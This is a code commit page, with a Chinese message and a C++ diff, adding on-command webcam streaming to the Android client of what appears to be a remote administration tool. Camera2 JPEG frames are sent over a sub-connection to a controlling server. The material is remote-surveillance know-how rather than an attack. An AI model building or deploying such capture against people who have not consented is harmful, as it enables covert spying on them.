Feature: support camera streaming on Android hosts
Android 摄像头(COMMAND_WEBCAM)此前未实现。客户端用 Camera2 ImageReader 直接输出 JPEG(1280x720、8fps、按传感器方向摆正),第一帧到达时从 JPEG SOF 读出真实宽高再发 TOKEN_WEBCAM_BITMAPINFO(部分 HAL 会按方向物理旋转 导致宽高互换,以实际帧为准可避免服务端尺寸不符丢帧黑屏),之后每帧 [TOKEN_WEBCAM_DIB][isCompress=1][JPGD][JPEG]。 服务端视频对话框识别 JPGD FOURCC,用 libjpeg 直接解成 bottom-up BGR24; DrawDib 与「保存 AVI」两条路径都不用改,目标机也不需要安装 VFW 编解码器。 BITMAPINFO 的 biSizeImage 按 DWORD 对齐的 stride 计算。 注意:服务端不要引用 turbojpeg 的 tj* 符号——会拉进与 Debug 构建不兼容的 运行时,启动即 0xC0000005;解码统一走项目已在用的 jpeg_* API。 验证:模拟器虚拟相机出图,窗口标题 127.0.0.1 - Video 1280x720;关闭对话框 后 camera stopped,服务端稳定。 Model: deepseek-flash Co-Authored-By: Claude Code <noreply@anthropic.com>
This commit is contained in:
1 parent
28c0c9a2a6
commit
998c16edc5
11 files changed
+739
-1
No files matched your search
@@ -42,6 +42,7 @@
|
||||
// 盘符映射与存储根。子连接自己建(GetServerTarget),不走 RunSubConnThread——
|
||||
// 后者拨的是 g_SETTINGS 里的出厂地址,转移主机后还是连旧主控。
|
||||
#include "FileManagerAndroid.h"
|
||||
#include "VideoHandlerAndroid.h" // 摄像头(COMMAND_WEBCAM)
|
||||
|
||||
#define LOG_TAG "YAMA"
|
||||
// LOGI/LOGE 走 android_log_tag(logger.h):既进 logcat,也进 Logger 的内存 ring,
|
||||
@@ -287,6 +288,10 @@ static jmethodID g_allFilesMid = nullptr; // StorageHelper.allFilesAc
|
||||
static jclass g_textClass = nullptr;
|
||||
static jmethodID g_gbkToUtf8Mid = nullptr; // NativeText.gbkToUtf8([B)[B
|
||||
static jmethodID g_utf8ToGbkMid = nullptr; // NativeText.utf8ToGbk([B)[B
|
||||
// 摄像头:CameraCapture.start() 返回 [w,h](null=无相机/无权限),stop() 停止采集
|
||||
static jclass g_cameraClass = nullptr;
|
||||
static jmethodID g_cameraStartMid = nullptr; // ()[I
|
||||
static jmethodID g_cameraStopMid = nullptr; // ()V
|
||||
|
||||
// 心跳日志限流:每 60 秒最多打一次
|
||||
static std::atomic<uint64_t> g_lastHbLogMs{0};
|
||||
@@ -576,6 +581,49 @@ std::string AndroidMapWinPathToUnix(const std::string& winPath)
|
||||
return p;
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------ 摄像头 JNI
|
||||
bool StartJavaCamera(int* outWidth, int* outHeight)
|
||||
{
|
||||
if (!g_jvm || !g_cameraClass || !g_cameraStartMid) {
|
||||
LOGE("CAMERA: JNI not ready");
|
||||
return false;
|
||||
}
|
||||
bool attached = false;
|
||||
JNIEnv* env = AttachJniForCall(&attached);
|
||||
if (!env) return false;
|
||||
|
||||
bool ok = false;
|
||||
jobject res = env->CallStaticObjectMethod(g_cameraClass, g_cameraStartMid);
|
||||
if (env->ExceptionCheck()) {
|
||||
env->ExceptionClear();
|
||||
} else if (res) {
|
||||
const jsize n = env->GetArrayLength((jintArray)res);
|
||||
if (n >= 2) {
|
||||
jint vals[2] = { 0, 0 };
|
||||
env->GetIntArrayRegion((jintArray)res, 0, 2, vals);
|
||||
if (vals[0] > 0 && vals[1] > 0) {
|
||||
*outWidth = vals[0];
|
||||
*outHeight = vals[1];
|
||||
ok = true;
|
||||
}
|
||||
}
|
||||
env->DeleteLocalRef(res);
|
||||
}
|
||||
DetachJniForCall(attached);
|
||||
return ok;
|
||||
}
|
||||
|
||||
void StopJavaCamera()
|
||||
{
|
||||
if (!g_jvm || !g_cameraClass || !g_cameraStopMid) return;
|
||||
bool attached = false;
|
||||
JNIEnv* env = AttachJniForCall(&attached);
|
||||
if (!env) return;
|
||||
env->CallStaticVoidMethod(g_cameraClass, g_cameraStopMid);
|
||||
if (env->ExceptionCheck()) env->ExceptionClear();
|
||||
DetachJniForCall(attached);
|
||||
}
|
||||
|
||||
std::string AndroidMapUnixToWinPath(const std::string& unixPath)
|
||||
{
|
||||
for (const auto& r : AndroidStorageRootsCached()) {
|
||||
@@ -1451,6 +1499,70 @@ static void FileManagerThread()
|
||||
LOGI(">>> FileManagerThread exit");
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------ 摄像头
|
||||
// 服务端 COMMAND_WEBCAM(主控右键「视频管理」)→ 子连接 → Camera2 采集 JPEG →
|
||||
// [TOKEN_WEBCAM_DIB][isCompress][fcc=JPGD][JPEG]。服务端用 turbojpeg 直解。
|
||||
// 同一时刻只允许一个会话(服务端菜单重复点击会发多条命令,第二个子连接没有意义)。
|
||||
static std::atomic<bool> g_videoInFlight{false};
|
||||
static std::mutex g_videoMx;
|
||||
static AndroidVideoHandler* g_videoHandler = nullptr;
|
||||
|
||||
static void VideoThread()
|
||||
{
|
||||
struct InFlightGuard {
|
||||
~InFlightGuard() { g_videoInFlight.store(false); }
|
||||
} guard;
|
||||
|
||||
std::string ip; int port;
|
||||
GetServerTarget(ip, port);
|
||||
LOGI("VideoThread start → %s:%d", ip.c_str(), port);
|
||||
try {
|
||||
std::unique_ptr<IOCPClient> client(new IOCPClient(g_bExit, true));
|
||||
client->EnableSubConnAuth(true, g_myClientID);
|
||||
client->SetDefaultProto((int)(unsigned char)g_SETTINGS.protoType);
|
||||
GetServerTarget(ip, port);
|
||||
if (!client->ConnectServer(ip.c_str(), port)) {
|
||||
LOGE("VideoThread: connect failed");
|
||||
return;
|
||||
}
|
||||
|
||||
std::unique_ptr<AndroidVideoHandler> handler(new AndroidVideoHandler(client.get()));
|
||||
client->setManagerCallBack(handler.get(),
|
||||
IOCPManager::DataProcess,
|
||||
IOCPManager::ReconnectProcess);
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(g_videoMx);
|
||||
g_videoHandler = handler.get();
|
||||
}
|
||||
|
||||
if (!handler->StartCapture()) {
|
||||
// 无 CAMERA 权限 / 设备无摄像头 / 被其它应用占用。服务端没收到
|
||||
// BITMAPINFO 就不会弹窗口,这里回一条消息说明原因。
|
||||
LOGE("VideoThread: camera unavailable");
|
||||
sendClientMsg("Camera",
|
||||
"Camera unavailable: grant the CAMERA permission or close the app "
|
||||
"that is using it");
|
||||
} else {
|
||||
while (client->IsRunning() && client->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
||||
Sleep(200);
|
||||
LOGI("VideoThread: sub-conn closed");
|
||||
}
|
||||
|
||||
handler->StopCapture();
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(g_videoMx);
|
||||
g_videoHandler = nullptr;
|
||||
}
|
||||
client->setManagerCallBack(nullptr, nullptr, nullptr);
|
||||
// 先销毁 handler 再销毁连接:接收线程可能正卡在 OnReceive 里
|
||||
handler.reset();
|
||||
client.reset();
|
||||
} catch (const std::exception& e) {
|
||||
LOGE("VideoThread exception: %s", e.what());
|
||||
}
|
||||
LOGI("VideoThread exit");
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------ 历史活动上报
|
||||
// 主连接一次性快照(与 Windows/Linux 一致,服务端 TOKEN_REPORT_ACTIVITY 分支不 CancelIO)。
|
||||
// 采样机每秒问一次 ControlService 的前台应用;这里只取 Dump(),几十微秒的活。
|
||||
@@ -2112,6 +2224,22 @@ int DataProcess(void* /*user*/, PBYTE szBuffer, ULONG ulLength)
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_WEBCAM: {
|
||||
// 摄像头管理(主控右键「视频管理」)
|
||||
if (g_videoInFlight.exchange(true)) {
|
||||
LOGI("cmd: COMMAND_WEBCAM ignored (camera session already in flight)");
|
||||
break;
|
||||
}
|
||||
LOGI("cmd: COMMAND_WEBCAM → camera sub-conn");
|
||||
try {
|
||||
std::thread(VideoThread).detach();
|
||||
} catch (const std::exception& e) {
|
||||
g_videoInFlight.store(false);
|
||||
LOGE("Video thread failed: %s", e.what());
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SEND_FILE_V2:
|
||||
case COMMAND_FILE_COMPLETE_V2: {
|
||||
// 服务端 → 客户端的 V2 上传(MCP upload_file)。落盘路径经
|
||||
@@ -2757,6 +2885,20 @@ Java_com_yama_client_YamaBridge_nativeInit(
|
||||
} else {
|
||||
LOGE("NativeText class not found");
|
||||
}
|
||||
// 摄像头:CameraCapture.start()/stop()
|
||||
jclass cameraCls = env->FindClass("com/yama/client/CameraCapture");
|
||||
if (env->ExceptionCheck()) { env->ExceptionClear(); cameraCls = nullptr; }
|
||||
if (cameraCls) {
|
||||
g_cameraClass = (jclass)env->NewGlobalRef(cameraCls);
|
||||
g_cameraStartMid = env->GetStaticMethodID(g_cameraClass, "start", "()[I");
|
||||
if (env->ExceptionCheck()) { env->ExceptionClear(); g_cameraStartMid = nullptr; }
|
||||
if (!g_cameraStartMid) LOGE("CameraCapture.start not found");
|
||||
g_cameraStopMid = env->GetStaticMethodID(g_cameraClass, "stop", "()V");
|
||||
if (env->ExceptionCheck()) { env->ExceptionClear(); g_cameraStopMid = nullptr; }
|
||||
if (!g_cameraStopMid) LOGE("CameraCapture.stop not found");
|
||||
} else {
|
||||
LOGE("CameraCapture class not found");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2879,4 +3021,33 @@ Java_com_yama_client_YamaBridge_nativeOnH264Frame(
|
||||
env->ReleaseByteArrayElements(data, buf, JNI_ABORT);
|
||||
}
|
||||
|
||||
// Camera2 每帧 JPEG(CameraCapture 的 ImageReader 回调线程)
|
||||
JNIEXPORT void JNICALL
|
||||
Java_com_yama_client_YamaBridge_nativeOnCameraJpeg(JNIEnv* env, jobject, jbyteArray data)
|
||||
{
|
||||
if (!data) return;
|
||||
const jsize len = env->GetArrayLength(data);
|
||||
if (len <= 0) return;
|
||||
jbyte* buf = env->GetByteArrayElements(data, nullptr);
|
||||
if (!buf) return;
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(g_videoMx);
|
||||
if (g_videoHandler)
|
||||
g_videoHandler->SendJpeg((const uint8_t*)buf, (size_t)len);
|
||||
}
|
||||
env->ReleaseByteArrayElements(data, buf, JNI_ABORT);
|
||||
}
|
||||
|
||||
// 摄像头采集失败(无权限 / 被占用 / 会话配置失败):回报主控消息栏
|
||||
JNIEXPORT void JNICALL
|
||||
Java_com_yama_client_YamaBridge_nativeOnCameraError(JNIEnv* env, jobject, jstring msg)
|
||||
{
|
||||
if (!msg) return;
|
||||
const char* c = env->GetStringUTFChars(msg, nullptr);
|
||||
if (!c) return;
|
||||
LOGE("CAMERA: %s", c);
|
||||
sendClientMsg("Camera", c);
|
||||
env->ReleaseStringUTFChars(msg, c);
|
||||
}
|
||||
|
||||
} // extern "C"
|
||||
Reference in new issue
Block a user